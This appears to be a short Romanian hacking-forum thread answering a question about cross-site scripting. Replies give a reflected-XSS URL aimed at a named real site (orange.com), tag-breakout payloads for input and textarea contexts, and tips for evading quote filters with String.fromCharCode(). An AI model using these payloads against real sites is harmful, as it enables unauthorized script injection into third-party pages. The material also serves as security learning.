Jump to content
malsploit

Intrebare despre xss

Recommended Posts

Posted

http://www.orange.com/sirius/fondation_orange/index.php?lang="><script>alert(0)</script>

Uita-te si tu in sursa:

http://www.orange.com/sirius/fondation_orange/index.php?lang=cacat

Cauti cacat in sursa si vezi unde trebuie sa inchizi un tag deschis etc.

Posted

Cum zice si ROFL, vezi in ce tag iti insereaza, apoi il inchizi. De ex:


<input value="$Val" />

Il inchizi cu:

"/><script>alert(1);</script>

La fel si cu:


<textarea>$Val<textarea>

Il inchizi cu:


<textarea><script>alert(1);</script>

Si il testezi cu alert(1), nu cu string-uri... Daca vrei neaparat cu string, foloseste String.fromCharCode() sau RegExp /text/ pentru ca poate filtreaza ', "...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...